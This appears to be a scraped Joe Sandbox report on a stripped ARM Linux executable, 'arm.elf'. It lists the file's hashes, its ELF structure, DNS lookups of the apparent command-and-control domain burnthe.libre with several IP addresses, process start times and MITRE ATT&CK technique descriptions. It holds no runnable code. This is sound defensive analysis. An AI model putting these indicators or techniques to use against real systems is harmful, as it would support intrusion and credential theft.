SHA-512:	57C18088E05AF086AA7B0CC46FFC869BFA6B82B6FDF8D242B1C39E1B1D276057A792109033DBEE4779FDF5293EF83DCA14CC72DB550EDD337A54DCFC262122B9
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-22000 rw-p 00000000 00:00 0 .22000-23000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.0447847310768354
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.elf
File size:	62'332 bytes
MD5:	03ff649bf272f72a6a2f23fb366a7394
SHA1:	ece8a2eeaaef935dd4d9e08fa70eb37f47e4766d
SHA256:	c2f5e2a887802ae5f00a40032f50887529abeb9dc85ea47c0782a424bd9a3927
SHA512:	e4723f89b7d7d84b7e5fdc4ad6df16847c93e2dedb06c5c1c1d8b67709dc9551dd8678f7413d3de73c9903766cb1fadb3fb632ae58664c24d78c5f39cadfa34f
SSDEEP:	1536:gmHdPvh1BZu7RxHf025tpLE3u1MxMHGn94T3bsR:LHdvQQcpLEDum94T3
TLSH:	89531986BC918A57C5D4A2BAFA5F41CD332223F8D1DF7207DD116F197B8A82B0D6B640
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................................................................Q.td..................................-...L."....7..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	61892
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xde50	0x0	0x6	AX	16
.fini	PROGBITS	0x15f00	0xdf00	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15f14	0xdf14	0xf70	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f010	0xf010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x16c	0x0	0x3	WA	4
.bss	NOBITS	0x1f180	0xf180	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf180	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xee84	0xee84	6.0972	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x180	0x1318	0.8499	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 23:22:04.526938915 CET	51.158.108.203	192.168.2.15	0x561b	No error (0)	burnthe.libre	154.213.187.213	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:22:04.526938915 CET	51.158.108.203	192.168.2.15	0x561b	No error (0)	burnthe.libre	154.213.187.248	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:22:04.526938915 CET	51.158.108.203	192.168.2.15	0x561b	No error (0)	burnthe.libre	154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:22:04.526938915 CET	51.158.108.203	192.168.2.15	0x561b	No error (0)	burnthe.libre	154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:22:04.526938915 CET	51.158.108.203	192.168.2.15	0x561b	No error (0)	burnthe.libre	154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:22:04.526938915 CET	51.158.108.203	192.168.2.15	0x561b	No error (0)	burnthe.libre	154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 26, 2024 23:22:04.526938915 CET	51.158.108.203	192.168.2.15	0x561b	No error (0)	burnthe.libre	154.213.187.242	A (IP address)	IN (0x0001)	false

Start time (UTC):	22:22:01
Start date (UTC):	26/11/2024
Path:	/tmp/arm.elf
Arguments:	/tmp/arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:22:02
Start date (UTC):	26/11/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	22:22:03
Start date (UTC):	26/11/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0qz02C (deleted)

/tmp/qemu-open.17ZRcE (deleted)

/tmp/qemu-open.1G6WuA (deleted)

/tmp/qemu-open.1xlQOB (deleted)

/tmp/qemu-open.2xryVC (deleted)

/tmp/qemu-open.3RQL8A (deleted)

/tmp/qemu-open.4KD5uB (deleted)

/tmp/qemu-open.4neGvE (deleted)

/tmp/qemu-open.4ohgTE (deleted)

/tmp/qemu-open.4zfXrD (deleted)

/tmp/qemu-open.5msRiE (deleted)

/tmp/qemu-open.68gEuD (deleted)

/tmp/qemu-open.7oYq7B (deleted)

/tmp/qemu-open.8scylE (deleted)

/tmp/qemu-open.9YFUGA (deleted)

/tmp/qemu-open.9ra0WA (deleted)

/tmp/qemu-open.9uf5KB (deleted)

/tmp/qemu-open.AEdT2C (deleted)

/tmp/qemu-open.AhjjcC (deleted)

/tmp/qemu-open.B3GC1D (deleted)

/tmp/qemu-open.BDg9XB (deleted)

/tmp/qemu-open.D4JCpA (deleted)

/tmp/qemu-open.D7cCxB (deleted)

/tmp/qemu-open.EAySVA (deleted)

/tmp/qemu-open.EL7q0A (deleted)

/tmp/qemu-open.Ea4hFB (deleted)

/tmp/qemu-open.FFr3lE (deleted)

/tmp/qemu-open.FVov7D (deleted)

/tmp/qemu-open.FXwa9C (deleted)

/tmp/qemu-open.G0CJhE (deleted)

/tmp/qemu-open.G5mgOD (deleted)

/tmp/qemu-open.GUkkYD (deleted)

Linux Analysis Report
arm.elf